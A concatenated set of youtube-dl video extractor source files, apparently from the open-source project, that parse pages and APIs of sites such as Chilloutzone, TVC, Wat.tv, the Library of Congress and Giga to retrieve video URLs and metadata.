        doc = self._download_xml(
            'http://www.c-span.org/common/services/flashXml.php?%sid=%s' % (video_type, video_id),
            video_id)

        description = self._html_search_meta('description', webpage)

        title = find_xpath_attr(doc, './/string', 'name', 'title').text
        thumbnail = find_xpath_attr(doc, './/string', 'name', 'poster').text

        files = data['files']
        capfile = get_text_attr(data, 'capfile')

        entries = []
        for partnum, f in enumerate(files):
            formats = []
            for quality in f['qualities']:
                formats.append({
                    'format_id': '%s-%sp' % (get_text_attr(quality, 'bitrate'), get_text_attr(quality, 'height')),
                    'url': unescapeHTML(get_text_attr(quality, 'file')),
                    'height': int_or_none(get_text_attr(quality, 'height')),
                    'tbr': int_or_none(get_text_attr(quality, 'bitrate')),
                })
            if not formats:
                path = unescapeHTML(get_text_attr(f, 'path'))
                if not path:
                    continue
                formats = self._extract_m3u8_formats(
                    path, video_id, 'mp4', entry_protocol='m3u8_native',
                    m3u8_id='hls') if determine_ext(path) == 'm3u8' else [{'url': path, }]
            self._sort_formats(formats)
            entries.append({
                'id': '%s_%d' % (video_id, partnum + 1),
                'title': (
                    title if len(files) == 1 else
                    '%s part %d' % (title, partnum + 1)),
                'formats': formats,
                'description': description,
                'thumbnail': thumbnail,
                'duration': int_or_none(get_text_attr(f, 'length')),
                'subtitles': {
                    'en': [{
                        'url': capfile,
                        'ext': determine_ext(capfile, 'dfxp')
                    }],
                } if capfile else None,
            })

        if len(entries) == 1:
            entry = dict(entries[0])
            entry['id'] = 'c' + video_id if video_type == 'clip' else video_id
            return entry
        else:
            return {
                '_type': 'playlist',
                'entries': entries,
                'title': title,
                'id': 'c' + video_id if video_type == 'clip' else video_id,
            }






from __future__ import unicode_literals

import re
import base64
import json

from .common import InfoExtractor
from ..utils import (
    clean_html,
    ExtractorError
)


class ChilloutzoneIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?chilloutzone\.net/video/(?P<id>[\w|-]+)\.html'
    _TESTS = [{
        'url': 'http://www.chilloutzone.net/video/enemene-meck-alle-katzen-weg.html',
        'md5': 'a76f3457e813ea0037e5244f509e66d1',
        'info_dict': {
            'id': 'enemene-meck-alle-katzen-weg',
            'ext': 'mp4',
            'title': 'Enemene Meck - Alle Katzen weg',
            'description': 'Ist das der Umkehrschluss des Niesenden Panda-Babys?',
        },
    }, {
        'note': 'Video hosted at YouTube',
        'url': 'http://www.chilloutzone.net/video/eine-sekunde-bevor.html',
        'info_dict': {
            'id': '1YVQaAgHyRU',
            'ext': 'mp4',
            'title': '16 Photos Taken 1 Second Before Disaster',
            'description': 'md5:58a8fcf6a459fe0a08f54140f0ad1814',
            'uploader': 'BuzzFeedVideo',
            'uploader_id': 'BuzzFeedVideo',
            'upload_date': '20131105',
        },
    }, {
        'note': 'Video hosted at Vimeo',
        'url': 'http://www.chilloutzone.net/video/icon-blending.html',
        'md5': '2645c678b8dc4fefcc0e1b60db18dac1',
        'info_dict': {
            'id': '85523671',
            'ext': 'mp4',
            'title': 'The Sunday Times - Icons',
            'description': 're:(?s)^Watch the making of - makingoficons.com.{300,}',
            'uploader': 'Us',
            'uploader_id': 'usfilms',
            'upload_date': '20140131'
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)

        base64_video_info = self._html_search_regex(
            r'var cozVidData = "(.+?)";', webpage, 'video data')
        decoded_video_info = base64.b64decode(base64_video_info.encode('utf-8')).decode('utf-8')
        video_info_dict = json.loads(decoded_video_info)

        # get video information from dict
        video_url = video_info_dict['mediaUrl']
        description = clean_html(video_info_dict.get('description'))
        title = video_info_dict['title']
        native_platform = video_info_dict['nativePlatform']
        native_video_id = video_info_dict['nativeVideoId']
        source_priority = video_info_dict['sourcePriority']

        # If nativePlatform is None a fallback mechanism is used (i.e. youtube embed)
        if native_platform is None:
            youtube_url = self._html_search_regex(
                r'<iframe.* src="((?:https?:)?//(?:[^.]+\.)?youtube\.com/.+?)"',
                webpage, 'fallback video URL', default=None)
            if youtube_url is not None:
                return self.url_result(youtube_url, ie='Youtube')

        # Non Fallback: Decide to use native source (e.g. youtube or vimeo) or
        # the own CDN
        if source_priority == 'native':
            if native_platform == 'youtube':
                return self.url_result(native_video_id, ie='Youtube')
            if native_platform == 'vimeo':
                return self.url_result(
                    'http://vimeo.com/' + native_video_id, ie='Vimeo')

        if not video_url:
            raise ExtractorError('No video found')

        return {
            'id': video_id,
            'url': video_url,
            'ext': 'mp4',
            'title': title,
            'description': description,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    clean_html,
    int_or_none,
)


class TVCIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tvc\.ru/video/iframe/id/(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.tvc.ru/video/iframe/id/74622/isPlay/false/id_stat/channel/?acc_video_id=/channel/brand/id/17/show/episodes/episode_id/39702',
        'md5': 'bbc5ff531d1e90e856f60fc4b3afd708',
        'info_dict': {
            'id': '74622',
            'ext': 'mp4',
            'title': 'События. "События". Эфир от 22.05.2015 14:30',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 1122,
        },
    }

    @classmethod
    def _extract_url(cls, webpage):
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:http:)?//(?:www\.)?tvc\.ru/video/iframe/id/[^"]+)\1', webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_json(
            'http://www.tvc.ru/video/json/id/%s' % video_id, video_id)

        formats = []
        for info in video.get('path', {}).get('quality', []):
            video_url = info.get('url')
            if not video_url:
                continue
            format_id = self._search_regex(
                r'cdnvideo/([^/]+?)(?:-[^/]+?)?/', video_url,
                'format id', default=None)
            formats.append({
                'url': video_url,
                'format_id': format_id,
                'width': int_or_none(info.get('width')),
                'height': int_or_none(info.get('height')),
                'tbr': int_or_none(info.get('bitrate')),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video['title'],
            'thumbnail': video.get('picture'),
            'duration': int_or_none(video.get('duration')),
            'formats': formats,
        }


class TVCArticleIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tvc\.ru/(?!video/iframe/id/)(?P<id>[^?#]+)'
    _TESTS = [{
        'url': 'http://www.tvc.ru/channel/brand/id/29/show/episodes/episode_id/39702/',
        'info_dict': {
            'id': '74622',
            'ext': 'mp4',
            'title': 'События. "События". Эфир от 22.05.2015 14:30',
            'description': 'md5:ad7aa7db22903f983e687b8a3e98c6dd',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 1122,
        },
    }, {
        'url': 'http://www.tvc.ru/news/show/id/69944',
        'info_dict': {
            'id': '75399',
            'ext': 'mp4',
            'title': 'Эксперты: в столице встал вопрос о максимально безопасных остановках',
            'description': 'md5:f2098f71e21f309e89f69b525fd9846e',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 278,
        },
    }, {
        'url': 'http://www.tvc.ru/channel/brand/id/47/show/episodes#',
        'info_dict': {
            'id': '2185',
            'ext': 'mp4',
            'title': 'Ещё не поздно. Эфир от 03.08.2013',
            'description': 'md5:51fae9f3f8cfe67abce014e428e5b027',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 3316,
        },
    }]

    def _real_extract(self, url):
        webpage = self._download_webpage(url, self._match_id(url))
        return {
            '_type': 'url_transparent',
            'ie_key': 'TVC',
            'url': self._og_search_video_url(webpage),
            'title': clean_html(self._og_search_title(webpage)),
            'description': clean_html(self._og_search_description(webpage)),
            'thumbnail': self._og_search_thumbnail(webpage),
        }






from __future__ import unicode_literals

from .adobepass import AdobePassIE
from ..utils import (
    update_url_query,
    smuggle_url,
)


class SyfyIE(AdobePassIE):
    _VALID_URL = r'https?://www\.syfy\.com/(?:[^/]+/)?videos/(?P<id>[^/?#]+)'
    _TESTS = [{
        'url': 'http://www.syfy.com/theinternetruinedmylife/videos/the-internet-ruined-my-life-season-1-trailer',
        'info_dict': {
            'id': '2968097',
            'ext': 'mp4',
            'title': 'The Internet Ruined My Life: Season 1 Trailer',
            'description': 'One tweet, one post, one click, can destroy everything.',
            'uploader': 'NBCU-MPAT',
            'upload_date': '20170113',
            'timestamp': 1484345640,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'add_ie': ['ThePlatform'],
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        syfy_mpx = list(self._parse_json(self._search_regex(
            r'jQuery\.extend\(Drupal\.settings\s*,\s*({.+?})\);', webpage, 'drupal settings'),
            display_id)['syfy']['syfy_mpx'].values())[0]
        video_id = syfy_mpx['mpxGUID']
        title = syfy_mpx['episodeTitle']
        query = {
            'mbr': 'true',
            'manifest': 'm3u',
        }
        if syfy_mpx.get('entitlement') == 'auth':
            resource = self._get_mvpd_resource(
                'syfy', title, video_id,
                syfy_mpx.get('mpxRating', 'TV-14'))
            query['auth'] = self._extract_mvpd_auth(
                url, video_id, 'syfy', resource)

        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'url': smuggle_url(update_url_query(
                self._proto_relative_url(syfy_mpx['releaseURL']), query),
                {'force_smil_url': True}),
            'title': title,
            'id': video_id,
            'display_id': display_id,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    unified_strdate,
    HEADRequest,
    int_or_none,
)


class WatIE(InfoExtractor):
    _VALID_URL = r'(?:wat:|https?://(?:www\.)?wat\.tv/video/.*-)(?P<id>[0-9a-z]+)'
    IE_NAME = 'wat.tv'
    _TESTS = [
        {
            'url': 'http://www.wat.tv/video/soupe-figues-l-orange-aux-epices-6z1uz_2hvf7_.html',
            'md5': '83d882d9de5c9d97f0bb2c6273cde56a',
            'info_dict': {
                'id': '11713067',
                'ext': 'mp4',
                'title': 'Soupe de figues à l\'orange et aux épices',
                'description': 'Retrouvez l\'émission "Petits plats en équilibre", diffusée le 18 août 2014.',
                'upload_date': '20140819',
                'duration': 120,
            },
        },
        {
            'url': 'http://www.wat.tv/video/gregory-lemarchal-voix-ange-6z1v7_6ygkj_.html',
            'md5': '34bdfa5ca9fd3c7eb88601b635b0424c',
            'info_dict': {
                'id': '11713075',
                'ext': 'mp4',
                'title': 'Grégory Lemarchal, une voix d\'ange depuis 10 ans (1/3)',
                'upload_date': '20140816',
            },
            'expected_warnings': ["Ce contenu n'est pas disponible pour l'instant."],
        },
    ]

    _FORMATS = (
        (200, 416, 234),
        (400, 480, 270),
        (600, 640, 360),
        (1200, 640, 360),
        (1800, 960, 540),
        (2500, 1280, 720),
    )

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_id = video_id if video_id.isdigit() and len(video_id) > 6 else compat_str(int(video_id, 36))

        # 'contentv4' is used in the website, but it also returns the related
        # videos, we don't need them
        video_data = self._download_json(
            'http://www.wat.tv/interface/contentv4s/' + video_id, video_id)
        video_info = video_data['media']

        error_desc = video_info.get('error_desc')
        if error_desc:
            self.report_warning(
                '%s returned error: %s' % (self.IE_NAME, error_desc))

        chapters = video_info['chapters']
        if chapters:
            first_chapter = chapters[0]

            def video_id_for_chapter(chapter):
                return chapter['tc_start'].split('-')[0]

            if video_id_for_chapter(first_chapter) != video_id:
                self.to_screen('Multipart video detected')
                entries = [self.url_result('wat:%s' % video_id_for_chapter(chapter)) for chapter in chapters]
                return self.playlist_result(entries, video_id, video_info['title'])
            # Otherwise we can continue and extract just one part, we have to use
            # the video id for getting the video url
        else:
            first_chapter = video_info

        title = first_chapter['title']

        def extract_url(path_template, url_type):
            req_url = 'http://www.wat.tv/get/%s' % (path_template % video_id)
            head = self._request_webpage(HEADRequest(req_url), video_id, 'Extracting %s url' % url_type)
            red_url = head.geturl()
            if req_url == red_url:
                raise ExtractorError(
                    '%s said: Sorry, this video is not available from your country.' % self.IE_NAME,
                    expected=True)
            return red_url

        formats = []
        try:
            http_url = extract_url('android5/%s.mp4', 'http')
            m3u8_url = extract_url('ipad/%s.m3u8', 'm3u8')
            m3u8_formats = self._extract_m3u8_formats(
                m3u8_url, video_id, 'mp4', 'm3u8_native', m3u8_id='hls')
            formats.extend(m3u8_formats)
            formats.extend(self._extract_f4m_formats(
                m3u8_url.replace('ios.', 'web.').replace('.m3u8', '.f4m'),
                video_id, f4m_id='hds', fatal=False))
            for m3u8_format in m3u8_formats:
                vbr, abr = m3u8_format.get('vbr'), m3u8_format.get('abr')
                if not vbr or not abr:
                    continue
                format_id = m3u8_format['format_id'].replace('hls', 'http')
                fmt_url = re.sub(r'%s-\d+00-\d+' % video_id, '%s-%d00-%d' % (video_id, round(vbr / 100), round(abr)), http_url)
                if self._is_valid_url(fmt_url, video_id, format_id):
                    f = m3u8_format.copy()
                    f.update({
                        'url': fmt_url,
                        'format_id': format_id,
                        'protocol': 'http',
                    })
                    formats.append(f)
            self._sort_formats(formats)
        except ExtractorError:
            abr = 64
            for vbr, width, height in self._FORMATS:
                tbr = vbr + abr
                format_id = 'http-%s' % tbr
                fmt_url = 'http://dnl.adv.tf1.fr/2/USP-0x0/%s/%s/%s/ssm/%s-%s-64k.mp4' % (video_id[-4:-2], video_id[-2:], video_id, video_id, vbr)
                if self._is_valid_url(fmt_url, video_id, format_id):
                    formats.append({
                        'format_id': format_id,
                        'url': fmt_url,
                        'vbr': vbr,
                        'abr': abr,
                        'width': width,
                        'height': height,
                    })

        date_diffusion = first_chapter.get('date_diffusion') or video_data.get('configv4', {}).get('estatS4')
        upload_date = unified_strdate(date_diffusion) if date_diffusion else None
        duration = None
        files = video_info['files']
        if files:
            duration = int_or_none(files[0].get('duration'))

        return {
            'id': video_id,
            'title': title,
            'thumbnail': first_chapter.get('preview'),
            'description': first_chapter.get('description'),
            'view_count': int_or_none(video_info.get('views')),
            'upload_date': upload_date,
            'duration': duration,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor

from ..utils import (
    determine_ext,
    float_or_none,
    int_or_none,
    parse_filesize,
)


class LibraryOfCongressIE(InfoExtractor):
    IE_NAME = 'loc'
    IE_DESC = 'Library of Congress'
    _VALID_URL = r'https?://(?:www\.)?loc\.gov/(?:item/|today/cyberlc/feature_wdesc\.php\?.*\brec=)(?P<id>[0-9]+)'
    _TESTS = [{
        # embedded via <div class="media-player"
        'url': 'http://loc.gov/item/90716351/',
        'md5': '353917ff7f0255aa6d4b80a034833de8',
        'info_dict': {
            'id': '90716351',
            'ext': 'mp4',
            'title': "Pa's trip to Mars",
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 0,
            'view_count': int,
        },
    }, {
        # webcast embedded via mediaObjectId
        'url': 'https://www.loc.gov/today/cyberlc/feature_wdesc.php?rec=5578',
        'info_dict': {
            'id': '5578',
            'ext': 'mp4',
            'title': 'Help! Preservation Training Needs Here, There & Everywhere',
            'duration': 3765,
            'view_count': int,
            'subtitles': 'mincount:1',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # with direct download links
        'url': 'https://www.loc.gov/item/78710669/',
        'info_dict': {
            'id': '78710669',
            'ext': 'mp4',
            'title': 'La vie et la passion de Jesus-Christ',
            'duration': 0,
            'view_count': int,
            'formats': 'mincount:4',
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        media_id = self._search_regex(
            (r'id=(["\'])media-player-(?P<id>.+?)\1',
             r'<video[^>]+id=(["\'])uuid-(?P<id>.+?)\1',
             r'<video[^>]+data-uuid=(["\'])(?P<id>.+?)\1',
             r'mediaObjectId\s*:\s*(["\'])(?P<id>.+?)\1'),
            webpage, 'media id', group='id')

        data = self._download_json(
            'https://media.loc.gov/services/v1/media?id=%s&context=json' % media_id,
            video_id)['mediaObject']

        derivative = data['derivatives'][0]
        media_url = derivative['derivativeUrl']

        title = derivative.get('shortName') or data.get('shortName') or self._og_search_title(
            webpage)

        # Following algorithm was extracted from setAVSource js function
        # found in webpage
        media_url = media_url.replace('rtmp', 'https')

        is_video = data.get('mediaType', 'v').lower() == 'v'
        ext = determine_ext(media_url)
        if ext not in ('mp4', 'mp3'):
            media_url += '.mp4' if is_video else '.mp3'

        if 'vod/mp4:' in media_url:
            formats = [{
                'url': media_url.replace('vod/mp4:', 'hls-vod/media/') + '.m3u8',
                'format_id': 'hls',
                'ext': 'mp4',
                'protocol': 'm3u8_native',
                'quality': 1,
            }]
        elif 'vod/mp3:' in media_url:
            formats = [{
                'url': media_url.replace('vod/mp3:', ''),
                'vcodec': 'none',
            }]

        download_urls = set()
        for m in re.finditer(
                r'<option[^>]+value=(["\'])(?P<url>.+?)\1[^>]+data-file-download=[^>]+>\s*(?P<id>.+?)(?:(?:&nbsp;|\s+)\((?P<size>.+?)\))?\s*<', webpage):
            format_id = m.group('id').lower()
            if format_id == 'gif':
                continue
            download_url = m.group('url')
            if download_url in download_urls:
                continue
            download_urls.add(download_url)
            formats.append({
                'url': download_url,
                'format_id': format_id,
                'filesize_approx': parse_filesize(m.group('size')),
            })

        self._sort_formats(formats)

        duration = float_or_none(data.get('duration'))
        view_count = int_or_none(data.get('viewCount'))

        subtitles = {}
        cc_url = data.get('ccUrl')
        if cc_url:
            subtitles.setdefault('en', []).append({
                'url': cc_url,
                'ext': 'ttml',
            })

        return {
            'id': video_id,
            'title': title,
            'thumbnail': self._og_search_thumbnail(webpage, default=None),
            'duration': duration,
            'view_count': view_count,
            'formats': formats,
            'subtitles': subtitles,
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import os.path

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    sanitized_Request,
    urlencode_postdata,
)


class PlayedIE(InfoExtractor):
    IE_NAME = 'played.to'
    _VALID_URL = r'https?://(?:www\.)?played\.to/(?P<id>[a-zA-Z0-9_-]+)'

    _TEST = {
        'url': 'http://played.to/j2f2sfiiukgt',
        'md5': 'c2bd75a368e82980e7257bf500c00637',
        'info_dict': {
            'id': 'j2f2sfiiukgt',
            'ext': 'flv',
            'title': 'youtube-dl_test_video.mp4',
        },
        'skip': 'Removed for copyright infringement.',  # oh wow
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        orig_webpage = self._download_webpage(url, video_id)

        m_error = re.search(
            r'(?s)Reason for deletion:.*?<b class="err"[^>]*>(?P<msg>[^<]+)</b>', orig_webpage)
        if m_error:
            raise ExtractorError(m_error.group('msg'), expected=True)

        data = self._hidden_inputs(orig_webpage)

        self._sleep(2, video_id)

        post = urlencode_postdata(data)
        headers = {
            b'Content-Type': b'application/x-www-form-urlencoded',
        }
        req = sanitized_Request(url, post, headers)
        webpage = self._download_webpage(
            req, video_id, note='Downloading video page ...')

        title = os.path.splitext(data['fname'])[0]

        video_url = self._search_regex(
            r'file: "?(.+?)",', webpage, 'video URL')

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
        }






# coding: utf-8
from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    sanitized_Request,
    urlencode_postdata,
)


class MoeVideoIE(InfoExtractor):
    IE_DESC = 'LetitBit video services: moevideo.net, playreplay.net and videochart.net'
    _VALID_URL = r'''(?x)
        https?://(?P<host>(?:www\.)?
        (?:(?:moevideo|playreplay|videochart)\.net))/
        (?:video|framevideo)/(?P<id>[0-9]+\.[0-9A-Za-z]+)'''
    _API_URL = 'http://api.letitbit.net/'
    _API_KEY = 'tVL0gjqo5'
    _TESTS = [
        {
            'url': 'http://moevideo.net/video/00297.0036103fe3d513ef27915216fd29',
            'md5': '129f5ae1f6585d0e9bb4f38e774ffb3a',
            'info_dict': {
                'id': '00297.0036103fe3d513ef27915216fd29',
                'ext': 'flv',
                'title': 'Sink cut out machine',
                'description': 'md5:f29ff97b663aefa760bf7ca63c8ca8a8',
                'thumbnail': 're:^https?://.*\.jpg$',
                'width': 540,
                'height': 360,
                'duration': 179,
                'filesize': 17822500,
            }
        },
        {
            'url': 'http://playreplay.net/video/77107.7f325710a627383d40540d8e991a',
            'md5': '74f0a014d5b661f0f0e2361300d1620e',
            'info_dict': {
                'id': '77107.7f325710a627383d40540d8e991a',
                'ext': 'flv',
                'title': 'Operacion Condor.',
                'description': 'md5:7e68cb2fcda66833d5081c542491a9a3',
                'thumbnail': 're:^https?://.*\.jpg$',
                'width': 480,
                'height': 296,
                'duration': 6027,
                'filesize': 588257923,
            },
            'skip': 'Video has been removed',
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(
            'http://%s/video/%s' % (mobj.group('host'), video_id),
            video_id, 'Downloading webpage')

        title = self._og_search_title(webpage)
        thumbnail = self._og_search_thumbnail(webpage)
        description = self._og_search_description(webpage)

        r = [
            self._API_KEY,
            [
                'preview/flv_link',
                {
                    'uid': video_id,
                },
            ],
        ]
        r_json = json.dumps(r)
        post = urlencode_postdata({'r': r_json})
        req = sanitized_Request(self._API_URL, post)
        req.add_header('Content-type', 'application/x-www-form-urlencoded')

        response = self._download_json(req, video_id)
        if response['status'] != 'OK':
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, response['data']),
                expected=True
            )
        item = response['data'][0]
        video_url = item['link']
        duration = int_or_none(item['length'])
        width = int_or_none(item['width'])
        height = int_or_none(item['height'])
        filesize = int_or_none(item['convert_size'])

        formats = [{
            'format_id': 'sd',
            'http_headers': {'Range': 'bytes=0-'},  # Required to download
            'url': video_url,
            'width': width,
            'height': height,
            'filesize': filesize,
        }]

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'description': description,
            'duration': duration,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    unescapeHTML,
    parse_duration,
)


class SSAIE(InfoExtractor):
    _VALID_URL = r'https?://ssa\.nls\.uk/film/(?P<id>\d+)'
    _TEST = {
        'url': 'http://ssa.nls.uk/film/3561',
        'info_dict': {
            'id': '3561',
            'ext': 'flv',
            'title': 'SHETLAND WOOL',
            'description': 'md5:c5afca6871ad59b4271e7704fe50ab04',
            'duration': 900,
            'thumbnail': 're:^https?://.*\.jpg$',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        streamer = self._search_regex(
            r"'streamer'\s*,\S*'(rtmp[^']+)'", webpage, 'streamer')
        play_path = self._search_regex(
            r"'file'\s*,\s*'([^']+)'", webpage, 'file').rpartition('.')[0]

        def search_field(field_name, fatal=False):
            return self._search_regex(
                r'<span\s+class="field_title">%s:</span>\s*<span\s+class="field_content">([^<]+)</span>' % field_name,
                webpage, 'title', fatal=fatal)

        title = unescapeHTML(search_field('Title', fatal=True)).strip('()[]')
        description = unescapeHTML(search_field('Description'))
        duration = parse_duration(search_field('Running time'))
        thumbnail = self._search_regex(
            r"'image'\s*,\s*'([^']+)'", webpage, 'thumbnails', fatal=False)

        return {
            'id': video_id,
            'url': streamer,
            'play_path': play_path,
            'ext': 'flv',
            'title': title,
            'description': description,
            'duration': duration,
            'thumbnail': thumbnail,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
)


class ServingSysIE(InfoExtractor):
    _VALID_URL = r'https?://(?:[^.]+\.)?serving-sys\.com/BurstingPipe/adServer\.bs\?.*?&pli=(?P<id>[0-9]+)'

    _TEST = {
        'url': 'http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=is&c=23&pl=VAST&pli=5349193&PluID=0&pos=7135&ord=[timestamp]&cim=1?',
        'info_dict': {
            'id': '5349193',
            'title': 'AdAPPter_Hyundai_demo',
        },
        'playlist': [{
            'md5': 'baed851342df6846eb8677a60a011a0f',
            'info_dict': {
                'id': '29955898',
                'ext': 'flv',
                'title': 'AdAPPter_Hyundai_demo (1)',
                'duration': 74,
                'tbr': 1378,
                'width': 640,
                'height': 400,
            },
        }, {
            'md5': '979b4da2655c4bc2d81aeb915a8c5014',
            'info_dict': {
                'id': '29907998',
                'ext': 'flv',
                'title': 'AdAPPter_Hyundai_demo (2)',
                'duration': 34,
                'width': 854,
                'height': 480,
                'tbr': 516,
            },
        }],
        'params': {
            'playlistend': 2,
        },
        '_skip': 'Blocked in the US [sic]',
    }

    def _real_extract(self, url):
        pl_id = self._match_id(url)
        vast_doc = self._download_xml(url, pl_id)

        title = vast_doc.find('.//AdTitle').text
        media = vast_doc.find('.//MediaFile').text
        info_url = self._search_regex(r'&adData=([^&]+)&', media, 'info URL')

        doc = self._download_xml(info_url, pl_id, 'Downloading video info')
        entries = [{
            '_type': 'video',
            'id': a.attrib['id'],
            'title': '%s (%s)' % (title, a.attrib['assetID']),
            'url': a.attrib['URL'],
            'duration': int_or_none(a.attrib.get('length')),
            'tbr': int_or_none(a.attrib.get('bitrate')),
            'height': int_or_none(a.attrib.get('height')),
            'width': int_or_none(a.attrib.get('width')),
        } for a in doc.findall('.//AdditionalAssets/asset')]

        return {
            '_type': 'playlist',
            'id': pl_id,
            'title': title,
            'entries': entries,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from .internetvideoarchive import InternetVideoArchiveIE


class VideoDetectiveIE(InfoExtractor):
    _VALID_URL = r'https?://www\.videodetective\.com/[^/]+/[^/]+/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.videodetective.com/movies/kick-ass-2/194487',
        'info_dict': {
            'id': '194487',
            'ext': 'mp4',
            'title': 'KICK-ASS 2',
            'description': 'md5:c189d5b7280400630a1d3dd17eaa8d8a',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        og_video = self._og_search_video_url(webpage)
        query = compat_urlparse.urlparse(og_video).query
        return self.url_result(InternetVideoArchiveIE._build_json_url(query), ie=InternetVideoArchiveIE.ie_key())






# coding: utf-8
from __future__ import unicode_literals

import itertools

from .common import InfoExtractor
from ..utils import (
    qualities,
    compat_str,
    parse_duration,
    parse_iso8601,
    str_to_int,
)


class GigaIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?giga\.de/(?:[^/]+/)*(?P<id>[^/]+)'
    _TESTS = [{
        'url': 'http://www.giga.de/filme/anime-awesome/trailer/anime-awesome-chihiros-reise-ins-zauberland-das-beste-kommt-zum-schluss/',
        'md5': '6bc5535e945e724640664632055a584f',
        'info_dict': {
            'id': '2622086',
            'display_id': 'anime-awesome-chihiros-reise-ins-zauberland-das-beste-kommt-zum-schluss',
            'ext': 'mp4',
            'title': 'Anime Awesome: Chihiros Reise ins Zauberland – Das Beste kommt zum Schluss',
            'description': 'md5:afdf5862241aded4718a30dff6a57baf',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 578,
            'timestamp': 1414749706,
            'upload_date': '20141031',
            'uploader': 'Robin Schweiger',
            'view_count': int,
        },
    }, {
        'url': 'http://www.giga.de/games/channel/giga-top-montag/giga-topmontag-die-besten-serien-2014/',
        'only_matching': True,
    }, {
        'url': 'http://www.giga.de/extra/netzkultur/videos/giga-games-tom-mats-robin-werden-eigene-wege-gehen-eine-ankuendigung/',
        'only_matching': True,
    }, {
        'url': 'http://www.giga.de/tv/jonas-liest-spieletitel-eingedeutscht-episode-2/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        video_id = self._search_regex(
            [r'data-video-id="(\d+)"', r'/api/video/jwplayer/#v=(\d+)'],
            webpage, 'video id')

        playlist = self._download_json(
            'http://www.giga.de/api/syndication/video/video_id/%s/playlist.json?content=syndication/key/368b5f151da4ae05ced7fa296bdff65a/'
            % video_id, video_id)[0]

        quality = qualities(['normal', 'hd720'])

        formats = []
        for format_id in itertools.count(0):
            fmt = playlist.get(compat_str(format_id))
            if not fmt:
                break
            formats.append({
                'url': fmt['src'],
                'format_id': '%s-%s' % (fmt['quality'], fmt['type'].split('/')[-1]),
                'quality': quality(fmt['quality']),
            })
        self._sort_formats(formats)

        title = self._html_search_meta(
            'title', webpage, 'title', fatal=True)
        description = self._html_search_meta(
            'description', webpage, 'description')
        thumbnail = self._og_search_thumbnail(webpage)

        duration = parse_duration(self._search_regex(
            r'(?s)(?:data-video-id="{0}"|data-video="[^"]*/api/video/jwplayer/#v={0}[^"]*")[^>]*>.+?<span class="duration">([^<]+)</span>'.format(video_id),
            webpage, 'duration', fatal=False))

        timestamp = parse_iso8601(self._search_regex(
            r'datetime="([^"]+)"', webpage, 'upload date', fatal=False))
        uploader = self._search_regex(
            r'class="author">([^<]+)</a>', webpage, 'uploader', fatal=False)

        view_count = str_to_int(self._search_regex(
            r'<span class="views"><strong>([\d.,]+)</strong>',
            webpage, 'view count', fatal=False))

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'timestamp': timestamp,
            'uploader': uploader,
            'view_count': view_count,
            'formats': formats,
        }






from __future__ import unicode_literals
import re
import base64

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    float_or_none,
    ExtractorError,
    unsmuggle_url,
    determine_ext,
)
from ..compat import compat_urllib_parse_urlencode


class OoyalaBaseIE(InfoExtractor):
    _PLAYER_BASE = 'http://player.ooyala.com/'
    _CONTENT_TREE_BASE = _PLAYER_BASE + 'player_api/v1/content_tree/'
    _AUTHORIZATION_URL_TEMPLATE = _PLAYER_BASE + 'sas/player_api/v2/authorization/embed_code/%s/%s?'

    def _extract(self, content_tree_url, video_id, domain='example.org'):
        content_tree = self._download_json(content_tree_url, video_id)['content_tree']
